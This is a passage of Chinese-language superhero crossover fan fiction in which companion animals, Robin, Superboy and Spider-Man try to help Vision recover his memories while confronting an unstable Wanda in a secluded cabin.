于是塔塔潜伏爬行，窸窸窣窣的朝着幻视方向发起快速冲锋，锈斑猫则是以伏击姿态,从另一侧以围堵的架势逐步接近。 坐在沙发上安静看报纸的幻视依旧放空着大脑，全然不知自己已经成了两只小动物的捕猎对象。 等他终于反应过来的时候, 已经失去了逃跑的机会。 水獭迅速冲上矮桌，努力用前爪扒住幻视手中的报纸,用力将报纸扯到一旁，回过神的幻视直接对上了塔塔的双眸。 他看到有星辰向他涌来。 奇怪的是那股力量却没有吸引他，反而是将他推入背后的深渊。 这时候锈斑猫跳上幻视的肩膀，绕到他的后颈，找了一圈也没找到可以使用的接口，干脆直接释放纳米机器人，那些看不见的东西找不到自己的目标，在锈斑猫的催促下从幻视的耳朵钻入他的体内。 另外有一部分检测到屏蔽器的存在，向达米安那边飘过去。 它们太过微小了，达米安根本没有发现的可能。 钻入幻视体内的纳米机器人似乎触发了某种保护机制，幻视突然有了反应，他依然是看着塔塔的，身体却站了起来。 接着幻视开始向上漂浮，往天花板撞过去。 塔塔：！ ！ ！ 锈斑猫还在他后脖子上趴着呢！ 塔塔急忙集中注意力。 “嘤——！”下来——！ 幻视的动作短暂停顿，他看着塔塔，发出询问：“为什么，干扰，我？” 塔塔：……？ 嗯？嗯嗯？ 这家伙的反应怎么不太对？ 程序和思维共同协作控制的身体没有那么容易攻陷。 锈斑猫立刻意识到，它们想错了。 它们的想法是，先用纳米机器人携带的病毒干扰幻视的脑内程序，解除它们对幻视自我思维的影响，然后利用塔塔的魅惑吸引放大幻视的自我意识，引导修复他思维上的异常，再让修正后的思维去反向修正程序的错误。 这套逻辑是建立在幻视是思维占据主要领导，程序为辅助地位的前提下。 可也许情况刚好相反呢？ 如果幻视脑内的主要控制方是程序，而不是自我思维，塔塔对他的影响就会不断受到程序的修正，无法达成它们想要的效果。 而斯塔克的纳米机器人是无法精准修复程序异常的，这东西的主要作用是制造异常，若是要修复问题，需要人类的手动操作。 锈斑猫也会修，前提是给它一个它能看懂的操作面板。 而幻视看起来就是个人模人样的家伙，完全没有“面板”这样可以提供操作的地方。 锈斑猫完全愣住了，不知道下一步该怎么办。 眼看幻视已经开始降低高度，弯腰将手伸向塔塔，锈斑猫情急之下给了幻视一口，小型猫的牙齿却不能破开幻视的皮肤，锈斑猫只觉得自己像是咬在一块钢板上，不仅伤不到幻视分毫，反而是自己的牙齿开始阵阵发痛。 “喵——”跑呀——！笨耗子！ 锈斑猫对着塔塔喵呜叫唤，塔塔却傻在原地。 千钧一发的时刻，白色蛛网喷涌而出，撞在幻视身上，巨大的力量将幻视浮空的身体推着向后晃了一下，接着又是连续的两发，这下幻视被彻底推到天花板上，牢牢地粘住了。 锈斑猫找到机会，在幻视被彻底粘住之前跳了出来。 它落在桌面上，迅速调整站位，将自己拦在塔塔身前，对着幻视弓腰，做出攻击的架势。 蛛网对幻视的束缚有限，他居然直接从中穿透出来。 本来就被吓到的塔塔这下彻底不淡定了。 “嘤嘤嘤——！！！”小叽居救命！这里有鬼啊啊啊啊——！ ！ ！ 彼得连续射出蜘蛛丝却无法阻止幻视的靠近。 不远处的小乔做出反应，他直径飞过去拦在幻视身前，当幻视再次伸出手，小乔果断抓住幻视的手，想要阻止他。 “请停下来！” 面对小乔的请求，幻视面露疑惑，手上则是条件反射的也抓住了小乔。 “请不要阻止我。”幻视同样提出了自己的请求。 作为氪星人的小乔自然拥有超乎寻常的力量，却也只是如此而已，小乔还没成长到能推翻一切的地步，在达米安大骂“笨蛋给我回来！”的声音下，小乔看见幻视的额间冒出金色的光芒，想要抽身离开，却发现自己无法从幻视手中挣脱。 一直坚守在原地负责拦截的小狐感应到危险。 它一个激灵，立刻放弃了自己的职责，转而全力对着幻视加速冲了过去。 同一时间，达米安射出的绳枪卷住幻视的脖子，加上小狐撞上去的力道，幻视的脑袋向一旁歪过去，金色的光擦过小乔的脑侧，在墙上烧出大洞，又继续向外放射出去，也不知道攻击范围到底有多远。 还没等他们反应过来下一步该如何是好，一股强大的绯红能量就将他们全部掀飞。 无论是人还是动物，全被拍在地上或者天花板上，一个个都难以动弹。 绯红女巫，旺达。 她不再是一身家庭主妇的装扮，而是换上了许久不穿的制服，单手操控着混沌魔法，从楼上走下来，如同君临。 幻视则默默落地，走向旺达。 “请不要那么做，它们只是想要帮助我。”幻视对旺达这么说道。 旺达眼瞳内孕育着猩红的光，当她看着幻视，手指依然在本能的颤动，控制着能量，那些能量压在几个孩子和动物身上禁锢着他们的行动。 此时的旺达似乎还是有理智的，至少她没有立刻将这些人和动物尽数撕碎。 “他们伤害了你。” “不是他们伤害的我，你还记得吗？不是他们。” “……” 旺达还记得当初发生了什么，只是那画面让她过于痛苦，所以她很少想起来。 “你恢复了吗？” 旺达全部的注意力都在幻视身上，至于那些被她掀翻的人和动物，她对他们视而不见。 幻视略微思考，“我不清楚你在说的是什么。” 他好像根本不记得之前发生过了什么，还问旺达：“这里是哪里？为什么我们会在这里？” 我们成功了吗？ 塔塔不敢出声，努力伸出前爪对着锈斑猫比划。 虽然失忆了，可幻视的状态明显比之前更加正常一些。 锈斑猫却在想，幻视的话很奇怪。 听起来幻视记起了当初受损的原因，也能理解它们在试图帮助他，可当旺达做出询问，幻视给出的答案却是什么都不清楚。 他的记忆只恢复了一部分？ 还是全都恢复了，只是程序限制，导致他的思维只能读取到其中的部分记忆？ 有点复杂…… 锈斑猫盯着幻视看。 这一刻，它突然理解了托尼的某些想法，比如对一个无法理解的东西超级感兴趣，想要把那东西剖开来看看其中的构造和原理。 那并不意味着托尼真的喜欢那东西，或者想要制作出一样的东西。 原来只是单纯的研究欲啊。 它想了解这东西的构造，人类的那部分，机械的那部分，以及它们之间如何协调工作的。 会被数据病毒影响神经系统吗？ 会感冒从而导致信号传输障碍吗？ 运算过热的话，会发烧吗？ 要如何保证冷却呢？ 好多种可能性在猫猫的脑子里快速闪现，每一种都让它无比好奇。 锈斑猫就这么盯着幻视，眼神发直。 这异样吸引了塔塔的注意力。 塔塔不明白锈斑猫怎么突然间就不理自己了，它努力挥动爪子，却还是没有回应。 就在水獭鼓起勇气决定开口嘤嘤叫唤时，却在视线的余光中瞥到爱丽丝对着自己超级大幅度的用力舞了一下手臂，塔塔疑惑的歪头看过去，就见爱丽丝紧接着比划了一个“嘘”的动作，又指了指旁边。 顺着那个方向看过去，原本被按在墙上的彼得已经不在原地了。 因为旺达的注意力被幻视转移，混沌魔法的凝聚力下降，彼得不知何时已经从限制中挣脱，小乔也是自行浮在空中。 我。们。上。吗？ 小乔也不会手语，就嘴巴大幅度的一张一合，用非常夸张的唇语询问达米安。 达米安只是让他稍安勿躁。 然后想起什么来，又比划着跟小乔强调，让他不要冒进。 严格来说，氪星人并不弱魔，抵抗控制的能力其实也远高于常人。 只是和他们在物理方面真正意义上无法破防的刀枪不入相比，魔法方面的抗性确实没那么优秀，在防御脑控方面更是没有额外的手段，和常人一样，只能靠着意志力来坚持。 因此才有超人一家弱魔、弱控制的传闻。 所以，面对混沌魔法，小乔是敢上的。 并且认为自己打头阵是最好的选择，比达米安或者蜘蛛侠这两个人类去冒险要更好些，至少他不用进急救室，丢到太阳底下晒晒就能捡回来继续用。 这种思想非常致命。 超人就因为这一类的想法，经常帮队友硬抗未知射线或者魔法攻击，几次面临绝境。 达米安决不允许小乔做这种蠢事。 转念一想，达米安觉得还是不够稳妥，小乔看手势只能看懂一半。 不放心的达米安只能被迫屈尊，张口无声的大喊： 你、给我、呆在、原地。 敢、犯傻、我、杀了你！ 第44章 达米安的威胁非常有效, 小乔乖乖浮在原位，假装自己还被混沌魔法限制。 达米安也向蜘蛛侠打出手势。 蜘蛛侠是平民出身的超级英雄，不过在复仇者联盟做过预备役训练, 因此彼得是正经学过手语的, 包括各种常见的战术手势都有涉及。 现在达米安打出“原地停止”的信号, 彼得就停下脚步。 看达米安指了指幻视和旺达的方向, 比了一个代表观察的手势, 又指了指塔塔。 那意思非常明显。 等待,持续观察,将塔塔也视作现场的变量。 既然塔塔的做法有效果，那么再尝试一下也不是不可以,引诱比暴力更加温和,对双方都是更好的选择。 问题是旺达的攻击能力过于逆天, 混沌魔法的强大在蝙蝠资料库里也是名列前茅的。 让塔塔去是否太过冒险？ 彼得倒是知道斯塔克先生给过锈斑猫一些保命的手段，他看向锈斑猫，用视线询问, 想看看能不能打一波配合，奈何锈斑猫全部的注意力都在幻视身上，跟看到猫罐头似的，根本顾不上周围。 它，怎么了？ 彼得打手势问达米安。 不能说话的情况下，动物语言大师达米安才是真正的翻译机，他能从动物的姿态变化中读到详细信息,根本不需要小动物开口。 达米安看了锈斑猫一会，手语翻译：它想要那个猎物。 这回答让彼得有点懵, 跟不上锈斑猫的思路了。 猎物？ ？ 什么猎物？ 这里哪来的什么猎物？ 哦…… 彼得突然反应过来。 等等……！ 这个“猎物”指的不会是幻视吧？ 彼得不可思议的看着锈斑猫，蜘蛛侠的面罩上,纳米科技构造的可动眼眶一收一张，十分鲜明的表达出彼得的情绪和那张大眼睛的动态。 捕猎幻视？ 真的吗？ 当初奥创出现造成极大混乱的时候，幻视可是能上去跟奥创1型一对一单挑，封锁了对方的数据传输并且跟对方同归于尽的存在啊。 考虑到幻视现在的状态看起来非常不对，绯红女巫的表现也有些不正常，彼得认为让小动物们去解决问题过于冒险。 彼得立刻打手语给达米安，表示与其让塔塔冒险，还不如让自己去和他们谈谈。 以复仇者的身份。 达米安立刻否定了这个想法。 旺达和幻视两个人都算是前任复仇者，却在出事后选择躲在这林间小屋中，而不是复仇者大厦，这就能说明很多问题。 复仇者中并不是所有人都可以相信的。 至少旺达表现出的信任对象只有其中一个，就是负责给他们运输物资的鹰眼。 这时候彼得表明自己复仇者的身份，很可能适得其反，搞不好现在旺达没杀他们，就是因为这里消息闭锁，旺达还不知道蜘蛛侠已经是复仇者的正式成员，又看在他们都还年轻的份上，这才没有痛下杀手。 彼得感觉达米安将旺达假设的太凶恶了些。 达米安觉得彼得天真的像只救难犬三号。 救难犬一号是克拉克·肯特，“救难犬”的称呼来自布鲁斯·韦恩亲取，达米安延续了这个称呼方式，将同样喜欢救人的小乔称作为救难犬二号。 以此来称赞超人家族乐于助人救猫，甚至救反派一命的良好热心肠。 在克拉克和小乔之后，达米安再没遇到过第三个这么热心的人。 直到现在。 “纽约皇后区的好邻居”。 达米安默默磨牙，他最初真的以为这个称号是某个反派给蜘蛛侠的冷嘲热讽，没想到居然是事实……！ 并且蜘蛛侠很喜欢这个称呼！ 而且自己也这么自称！ 居然会有一个需要蒙面出门来保护自己秘密身份的超级英雄直接称呼自己为“某地的好邻居”……！ 是怕这全世界上还有一个人不知道你住在纽约皇后区吗？ ？ ？ 想威胁你只要无差别轰炸那个区域，还可以避免波及纽约的其他地区呢！ 达米安内心骂骂咧咧，然后做了个深呼吸。 他也得承认，不是全世界的反派都像哥谭的反派那样丧心病狂，大部分时候，他们都有自己的目的，无差别绑架、攻击平民并不在这些反派的日常生活中。 彼得不知道达米安一瞬间能想那么多，蝙蝠家的人心思都很深，对此彼得并没有经验。 倒是小乔知道，虽然不知道达米安具体想了什么，却能分析出达米安肯定自己把自己气着了，于是就比划着试图安慰达米安给他顺气。 达米安对着小乔摆摆手，然后再次用手语向蜘蛛侠强调：原地等待。 却忘了他虽然能按住小乔，劝住蜘蛛侠，也可以用一个简单的“嘘”控制塔塔的行动，可唯独那沉迷于研究欲的锈斑猫，并不在达米安的管辖范围内。 在几人沟通的时候，锈斑猫也悄悄摆脱了混沌魔法的限制，它本来和蜘蛛侠一样被拍在天花板上，重获自由后正好落在塔塔身旁，柔软的肉垫让它落地无声，而它的眼睛始终紧紧盯着幻视的方向。 还没自由的塔塔努力抬起爪爪，勾住锈斑猫的后爪。 不可以呀。 爱丽丝说了暂时不要动的。 塔塔试图将自己的想法通过语言之外的方式传递给锈斑猫，可在不发出声音的情况下，任何表达都需要对方至少看过来一眼。 而锈斑猫根本不看塔塔。 它都没有回头。 后爪子一动就避开了塔塔的小短爪，继续匍匐前进，靠近幻视。 塔塔：…… 塔塔一着急，居然也摆脱了混沌魔法。 也可能是旺达实在顾不上这边了吧，现在的旺达只是和幻视互相对视，也不知道他们两个到底怎么了，就这么直直地看着对方，动也不动，眼也不眨，像是彼此之间组成了一个新的小世界，而现在这个世界的一切，都与他们无关。 肯定是出事了。 不用知道前因后果，塔塔也能看出这绝对不对劲。 眼见锈斑猫已经到了足够近的位置，摆好姿势，小幅度的调整身体的角度，头部锁定目标，准备好随时一跃而起。 急坏了的塔塔用后爪使劲蹬地，努力向前飞扑，不管不顾的扑向锈斑猫。 猫咪的反射非常强悍，特别是锈斑猫并不是家猫，作为一只真正的“野猫”，锈斑猫对于袭击有着天然的警觉。 但塔塔这一下扑的又快又狠，加上锈斑猫对塔塔没有防备。 感受到背后气流接近的时候已经晚了。 塔塔猛地抱在锈斑猫身上，推着小猫咪往前，因为刹不住车，它下意识的将小猫护在自己的肚皮上，双爪抱着，身体直接变成塔塔冲锋模式，向前快速翻滚而去。 它就这么带着锈斑猫滚啊滚，一头撞在了旺达的脚上才停下来。 静止状态的旺达猛地回过神。 她和幻视像是从一个特殊的精神结界中瞬间解放，身体同时做出动作，旺达痛苦的猛吸一口气，扶着胸口急促呼吸，显然是刚才憋得够呛。 幻视的状态还好，只是略微往后飘了一点点，很快又回到原位。 “……” 旺达一边顺气，一边愣愣地看着幻视。 反倒是幻视注意到了旺达脚边翻滚的两只小动物，低头看向它们。 彼得手腕上的蛛丝蓄势待发，小乔也顾不上达米安继续待命的指令，单手撑着背后的天花板，随时准备冲出去。 也许是感觉到了来自孵化者的战意，小狐率先出声： “汪！” 响亮的警告声。 犬类在协同作战中常常会用汪汪声吸引敌人的注意力，和主人打配合，一个作为目标拉仇恨，一个在后面放冷枪。 幻视的注意力果然被小狐吸引。 他看着氪星蓝眼睛的小狗，一眼认出这不能算作地球的产物。 再次伸向塔塔的手短暂停顿，小乔飞过来一把抱起塔塔和锈斑猫，锈斑猫却找到机会，从塔塔以及小乔的怀里连续多次的反复钻出，哪怕他们努力的不停将它往回抓，还是在数次捞回后被锈斑猫跳出控制范围。 “抓后脖子！”达米安看他们在那炒猫，看得脑门上都冒出根青筋。 小乔大声抗议：“抓不到！” 锈斑猫只有巴掌大的那么一小只，想要精准的捏住后脖子的软肉哪有那么简单，而且小乔尚未能精准控制超级速度，在抓猫这块并不比普通人更有优势。 “集中注意力！”达米安却不认为小乔居然会抓不住一只小猫。 超人家人均猫控，最会逮猫了好嘛。 小乔一时半会也解释不清楚。 锈斑猫却已经从小乔指尖跃出，落在幻视尚未收回的手上。 幻视改成手心朝上，小小的猫正好站在他手心里。 幻视面露疑惑。 他不能理解这只小猫要做什么。 锈斑猫跳上来了才终于冷静一些，这时候它反应过来，现在这个环境，它想要研究幻视也没办法，根本不可能做到。 而且它要怎么研究？ 它要解剖对方吗？ 这个人形的，生化人？ 那真的是可以去做的事情吗？ 以小动物的思维来说，人类的道德规范和社会法律很难在它们心中留下深刻的记忆，只有当这些东西和它们在意的孵化者相关联，它们才会对其上心。 它们对法律以及社会道德的认可，本质上是对孵化者的认可。 锈斑猫对这些规则的理解，也是托尼·斯塔克对它们的理解。 探索与研究的欲望短暂的在大脑中占据上风。 但很快它们就被道德感压制。 这可不是一件机器。 生化人的意思是，他是有灵魂的。 有自我思维。 他是个人。 锈斑猫突然意识到自己刚才的念头多么疯狂，它的耳尖摆动，警觉又慌乱，身体开始向后退去，当后爪触碰到幻视的手指，猫猫猛地转过身体，高高的跳了出去。 第45章 它做出那个动态的时候,彼得已经到位，做好了逮猫的准备。 小乔和塔塔根本抓不住锈斑猫，猫咪的毛皮本就油光水滑, 加上骨头上特殊的构造, 使得它们身体更加柔软, 动起来时就如行云流水一般, 非常难以控制, 更不要说锈斑猫的体型小巧, 更是想抓都捞不到。 在不打算弄伤对方的前提条件下,人类想要单凭一只手将完全不配合的猫咪凭空抓住，若是捏不住它的后颈肉,那几乎是痴人说梦。 但彼得就不一样了。 变异带给他的特性之一就是吸附性。 他的身体可以像蜘蛛那样探出无比细小的倒刺,还有静电吸附能力,帮助他飞檐走壁的同时，也能让他轻松抵抗猫咪的柔顺皮毛，将锈斑猫牢牢限制在自己双手中。 锈斑猫只觉得自己仿佛是落入蛛网的小虫, 在彼得的手指间被轻易固定。 无论它怎么扭动，就是无法移动分毫。 这感觉让本就进入神经质模式的小猫更加紧张。 “嘘……” “没事了。” 彼得耐心安抚着，让自己的温度和平稳有力的脉搏透过掌心传递给小猫。 稳定的情绪通过接触感染了锈斑猫。 小猫的呼吸渐渐平稳，它在彼得的安抚下逐渐冷静，充满攻击性的爪子也收了起来，但它依然是警觉的，趴在彼得手心里,从他的指缝中看着幻视的方向。 “不用担心，他不会伤害我们的。” 其实彼得也拿不准, 看过的资料告诉他，幻视也好, 旺达也好，都是可靠的同伴，但他们活跃的那几年，彼得还在读高中。 世界上的超级英雄并不少，复仇者联盟、正义联盟、圣所、 X战警等等，就连当时奥创1型闹出拔起一座城市升空的事情，也不过是让这些平时互不干涉的联盟愿意彼此合作，然后将它平稳安定的解决，从哪里拔出来的，就放回那个坑里。 这样的世界并不需要一个高中生去出生入死。 所以彼得那几年还是以读书生活为主，偶尔在皇后区周围小范围的活跃。 直到他18岁读大学的年纪，依然想要当一名超级英雄，愿意冒着死亡的风险走向维护地球安定的前线，斯塔克这才松口，同意他正式加入复仇者联盟。 也正是因为如此，彼得并未同他们合作过，也没有接触过他们。 幻视和旺达对彼得来说，是资料上的人，是完全陌生的。 不过，彼得依然相信他们。 既然美国队长和钢铁侠都认为他们值得信任，其他复仇者也并未提出异议，将他们的资料留存在档案中，并始终标记为同伴，那么他们就是可以相信的。 彼得决定继续自己的计划。 和他们谈谈。 以一名复仇者的身份。 “嗨，我是蜘蛛侠。”彼得向他们自我介绍，“一名复仇者。” 旺达的注意力随之转移。 她看着彼得，疑惑道：“但我从没有见过你。” 这话让其他人都松了一口气。 很好，至少旺达不排斥“复仇者”。 也就是说，他们躲在这里，并不是因为某个复仇者和他们敌对。 彼得也放松不少。 “我是新来的，今年才正式加入，之前也许你听过我，斯塔克先生喜欢叫我睡衣宝宝。” 旺达恍然大悟：“我听过，一次或者两次，他说过有个孩子……他跟队长吵架的时候，提到过他有个后手。” “……呃？”彼得一愣。 旺达回忆起一段混乱的往事。 “我们那时候几乎要分裂了。”她告诉彼得，“他似乎非常相信你。” 彼得还在那发楞。 所以，我会帮斯塔克先生打美国队长吗……？ 啊这…… 彼得觉得自己的脑子里正在打结，一时之间想不到那会是个什么情况，到底是怎样的前提，才能让事情一路滑坡，滚雪球般落到那个境地。 旺达安慰他：“那次矛盾中演戏的成份居多，那时候的情况有些复杂，他们之间确实有些矛盾，具体情况我们也不得而知，但也没到……是政府那些人……” 这似乎触及到一个不该去说的话题。 旺达的神色逐渐变化。 她似乎是想起一些不好的事情，脸色略显扭曲，染上痛苦的同时，仇恨的火苗也在无声中迸溅而起，在她心间燎原而出一整片的血色。 “政府那些人”。 达米安捕捉到这个关键字。 “我们和政府的人没有关系，你应该听过我，哥谭的罗宾，跟着蝙蝠侠，我们是蒙面义警，和政府的关系非常疏远。” 这话没错。 正义联盟虽然是合法组织，但严格来说，并不是官方同意他们组织这个正义联盟，而是正义联盟的七巨头太过逆天，政府无法管束，也不敢真的惹恼他们，因此才假装自己也很高兴有这么一个强大联盟存在，其实那些政客背地里早就在疯狂的撕咬手绢了。 旺达这才缓和少许。 “我知道，你和他是正义联盟的人。” 罗宾鸟好认，小乔胸口代表希望的标记就更好认了，旺达知道他们。 见旺达的语气趋于缓和，加上小乔疯狂示意，达米安也终于收起了预备战斗的架势，将手中掐着的飞镖收回万能口袋里。 旺达看着他们，扫视一圈过后她还是选择了作为复仇者的蜘蛛侠。 “你们来做什么？”旺达问。 “我们是……呃，迷路？”彼得也不清楚自己来做什么的。 他不准备撒谎，坦白了自己的迷茫，然后看向达米安和小乔。 “这附近出现了大量的神隐事件，虽然没有伤亡，却也引起了一些恐慌，我们受到委托过来调查。” 达米安说的理直气壮。 至于人家委托的对象是蝙蝠侠或者正义联盟，那都与达米安无关，反正他是蝙蝠侠的罗宾鸟，代替蝙蝠侠做任务也没什么问题。 旺达：“……” 正义联盟会让两个小孩就这么光溜溜的出来做任务？ 这好像说不通。 不过仔细想一想，这些神隐事件都很安全，没有任何伤亡，也许那些蒙面英雄也觉得这些事件的肇事者可能是没有恶意的，所以才让两个孩子来，也算是在表达想要达成友好接触的想法……？ 可这依然说不通。 太危险了，不是吗？ 万一他们其实穷凶极恶呢？ 旺达看向幻视。 幻视正在与蜘蛛侠手指间的锈斑猫对视。 锈斑猫能从幻视的神情中读到一些微妙的信息，它能感觉到幻视似乎知道自己往他体内放了纳米机器人，只是不知为何没有说出来。 接着，幻视将视线移到塔塔身上。 “刚才你所做的事情，请再对我做一遍。” 幻视向塔塔提出自己的请求。 缩在彼得怀里的塔塔探出脑袋：“嘤嗯……？”你不生气吗……？ 幻视摇头。 “那对我是有帮助的。” 旺达问：“它做了什么？” “它推了我一把。”幻视如是说道，“现在，我需要它再推我一次。” 将人的这一面推出深渊。 “我并不能确定那是否会让我变得更好。” 毕竟人性占据主要领导地位，就意味着幻视可能会更加感情用事，考虑到之前的各种经历，在变化之后，幻视也不清楚自己是否还能平常以对。 “但那确实是一条出路。” 幻视将自己的情况告诉旺达，也告诉她自己的选择。 “如果我变得更糟，你能解决这个问题吗？” 旺达愣愣地看着幻视，抗拒的反问他：“这个问题是指，你？” 幻视沉默。 他意识到自己提出了错误的请求。 这对旺达来说太难了。 “不用担心，”幻视向旺达提出安慰，“也许并不需要你来做什么，我有自配的安全系统。” 旺达完全不吃这一套，再次逼问：“你是说，你的脑子里有东西，能解决问题，也就是你自己？” 她往前走了一点，绯红色的混沌魔法蠢蠢欲动，那感觉就好像随时都要破笼而出的怪物，想要撕开幻视的脑袋壳子，将里面那个“安全系统”生生撕出来。 幻视大概是感觉到了这份压力，进一步解释。 “它并不在我的脑子里。” “那它在哪？” “它可以在任何地方。” “什么……？” 理论上，幻视是不会撒谎的。 旺达非常确定这一点。 可这就无法解释幻视现在说的这些话。 旺达无法想象一个系统怎么可以在“任何地方”。 倒是锈斑猫似乎明白了什么。 此时锈斑猫已经缓了过来，沿着彼得的手臂走到他的肩头坐下，看着旺达和幻视，也不知道脑瓜里在想些什么。 彼得另一侧的肩膀上蹲着刚从小乔怀里溜过来的塔塔。 被点名的时候塔塔就在发楞，现在更楞了。 塔塔是真的没听懂，用两只短短的前爪扒拉彼得的脸颊，嘤嘤的叫唤，询问他们在说什么，为什么自己明明都能听得懂，却又什么都听不懂呢？ 彼得也不能确定，他单手撸着塔塔的后背，问：“你做了什么？” 塔塔当然知道自己做了什么，可幻视这奇怪的反应，让它又有些不确定了。 “嘤……”我没推他呀…… “嘤嘤……？”这家伙是不是碰瓷我……？ 第46章 楼下大家因为幻视的话语而陷入迷糊的状态,他们还在努力弄清楚到底发生了什么，唯一知道些事情的锈斑猫正在给自己舔毛。 猫咪除了在放松状态会舔毛，在紧张状态,或者感到疼痛时,也有可能舔毛。 因为舔毛对猫咪来说意味着放松,所以它们是有可能为了让自己放松下来,或者是单纯的缓解疼痛,而做出舔毛的举动。 具体看猫咪舔毛时的神情和姿态也能辨认一二。 像锈斑猫现在这样警觉的模样, 就很明显可以视作是一个异常信号, 证明它并不是因为感到放松而悠闲的舔毛。 它是想让自己放松下来，所以才会舔自己。 达米安想去安抚它,又拿不准锈斑猫现在的心情,怕进一步刺激到猫咪,只能停在原地不动，就见锈斑猫舔着舔着，暂停了动作。 顺着锈斑猫的视线看过去,达米安看见在楼上的楼梯拐角，小狐正悄悄向上飞。 它要去做什么？ 小狐借着自己的飞行能力无声漂上二楼，探头探脑的寻找。 很快跟着气味找到了在婴儿床里奄奄一息的食梦貘。 馍馍撑吐了。 它吐出来的那些漆黑的、可以被称作为“怨气”的负面情绪就在它周围悬浮。 也许是感觉到小狐的接近，馍馍张开眼睛，哀怨的盯着小狐。 此时馍馍的怨气已经浓郁到几乎是完全具象化，像一张幽怨的网，它是灰白色的,残破不堪，几根蛛丝垂下来,无风自动，微微摇曳。 周围的温度略有下降, 小狐感觉到一丝寒意。 “呃？”馍馍发出一声接近打嗝似的叫唤：你们都做了什么？ 它幽怨的眼神让小狐心里打怵。 “汪呜？”你还好吗？你看起来很难受的样子。 馍馍摇头，它蜷缩在婴儿床里，前爪抱着自己的脑袋，整只貘都在不自觉的摇摇晃晃，它告诉小狐，自己只是吃撑了有些不舒服。 谁吃多了都会感觉不舒服的。 小狐轻声呜着：那你先不吃了吧？ 这话让馍馍面露迷茫，它发出啾啾的类似鸟鸣的声音反问小狐：我就是为了这件事情才诞生在她的身边，如果不不吃了，她该怎么办？我存在的理由又是什么呢？ 这问题问的突兀。 小狐愣住。 突然意识到现在的馍馍可能有些神志不清。 小狐从未考虑过自己存在的意义是什么。 它诞生的时间在伴生动物中也是最短的那个，还没开始考虑自己为何会被孵化出来，至于一个生命是否需要某种具体理由才能诞生，这对小狐来说更是抽象的事情。 诞生了，那就诞生了吧。 但也正是因为诞生了，对一切有了感知，于是痛苦与困惑也如洪水般倾泻而来。 小狐似乎能从馍馍的神情中感觉到对方转瞬即逝的念头。 那是一种很模糊的感应。 模糊到小狐都无法确定那是否是一种错觉。 混乱、不安、迷茫。 比起直接的恐惧，这些暧昧的负面情绪将馍馍的肚子填得满满的。 它的脑子在食困的空白中，也是因此，它无法自我排解，无法抵御这些负面情绪造成的不良影响。 小狐看了一会，试探着问：“呜呜？”如果你很在意的话，有没有问过你的孵化者呢？作为孵化者，也许他们知道这个问题的答案？ 馍馍沉默不语。 它陷入心动和迟疑之中。 心理上来说，馍馍相信着旺达，所以如果旺达能给予一个答案，那无论是什么，对馍馍来说，都是一种心灵的安慰和指引。 但同时馍馍非常清楚，旺达自己的情绪还是一滩烂泥，又哪有力气来解决它的问题？ “啾——？”你知道X教授吗？ 恍惚间，馍馍再次提起这个人。 不久前它才帮着布莱克和斯诺离开林间小屋去寻找X教授，那两只还没有消息，馍馍似乎暂时忘记了这件事情，又重复的委托了小狐。 小狐摇了摇头。 银狐犬诞生的时间太短，还没有开始学习外面的事情，对世界的认知基本还停留在孤独堡垒和肯特农场的那些人事物上。 通过这次远行，小狐才看到了世界的复杂性。 原来人和人之间的关系可以是友非敌，小动物的思想也可能非常复杂，每个人和动物都有自己在思考，在担心的事情，若是仔细去看，似乎每只生灵都在仿徨中寻觅，却又好像一直都找不到合适的道路。 小狐看着自己的爪子。 它还是不理解。 馍馍在意的事情，真的很重要吗？ 意义也好，诞生的理由也好。 自己爪子下踩着的，不就是自己的道路吗？ 对小狐来说，自己诞生了，那就是自己的意义，它的每一个选择，都是在证明自己存在的意义。 馍馍看着这只天真的小白狗，无语的问：那我们的诞生算什么？人孵化出的动物，这种诡异而扭曲的事情，难道是神降下的奇迹吗？ 它对此嗤之以鼻，认为那太过自以为是。 却没想到小狐歪着脑袋，反问：“汪呜？”难道不是吗？所有生命的诞生，不都是一个奇迹吗？ 馍馍追问：你身边的人类就没有觉得异常的？被子一掀，一个活物就这么凭空出现了？ 小狐再次反问：你的孵化者觉得你是异常的吗？ 馍馍一愣。 那当然不是。 旺达从不认为食梦貘是异常的。 只是在最初见到馍馍的时候，旺达被它唤醒，看到这么个奇怪的东西，只以为是自己的混沌魔法终于彻底坏掉，失去控制开始扭曲现实。 但仔细想想，自己编织的美妙梦境里面也没有这么一只食梦貘。 在确认一切正常后旺达就毫无芥蒂的接受了自己被子里孵出一只毛茸茸的现实，并带着馍馍一起去夺回属于自己的宝藏。 夺回幻视。 然后他们又经历了一些事情，最后藏在林间小屋中，旺达的精神和幻视的状态一直都不算稳定，不知不觉外面的世界过去了近一年的时间，而他们已经在这座小屋里日复一日，浑浑噩噩度过了数年。 小狐听它断断续续的说了之前的事情。 惊讶的发现，虽然在这个会干扰时间流速的屏障内部，他们已经相处了好几年的时间，可他们之间发生的事情，居然能在几分钟内轻松讲完。 小狐感到不可思议。 它自己才孵化没多久呢，和小乔之间的趣事就能说一个下午，如果算上克拉克等其他家人，那就算是一天一夜也讲不完。 或者，这就是馍馍和旺达最大的问题吧。 在小狐和馍馍都没有注意的时候，小乔和达米安已经悄悄摸了上来，小乔感应到小狐的情绪，也有种怅然若失的感觉。 这林间小屋里的住客，全都被过去所拘束，再也没有看见过今天和未来。 达米安突然开口：“我们应该炸掉这里。” “啊？”小乔目瞪口呆，顾不上自己心里那点小情绪了，急忙劝阻，“怎么？为什么？” “这是解决问题最简单的办法。” “WHAT？！” 什么办法？解决什么？ 小乔一下子没跟上达米安的大脑回路。 “你不觉得吗？屏障对于他们来说虽然是保护，同时也是一种困境，他们被这层时间的屏障困在了这里。” “……” 小乔看着达米安，呆呆的。 “干嘛？”达米安被他看的炸毛。 小乔就挠头：“就是，嗯……意外的突然发现，你还挺感性的嘛。” 达米安：“？？？” 达米安：“脑子坏了就去修！” 达米安炸毛。 馍馍被他们的声音惊动，从婴儿床里探出脑袋。 它盯着达米安。 很显然，馍馍并不赞同达米安的说法，至少不允许他破坏这处林间小屋。 一种无形的力量在达米安努力跳动的心脏处悄然出现，那是馍馍收集的负面情绪凝结的无形之物，它将这颗脆弱的小东西紧紧攥在手心里。 仿徨无助的感觉从心脏深处喷涌而出。 达米安感觉到心间一片酸涩，那感觉出现的非常突兀，又异常强烈，瞬间蔓延到整个胸腔，引起痉挛似的疼痛，让他几乎无法呼吸。 “罗宾！” 小乔飞过去扶住达米安，达米安试着推开他自己站稳，但小乔没有放手。 “我没事。” 达米安再次试图退开小乔，再次失败。 这时候，小狐飞起来，它大概是想要阻止馍馍，又不想伤害馍馍，两难之下，干脆自己压了上去。 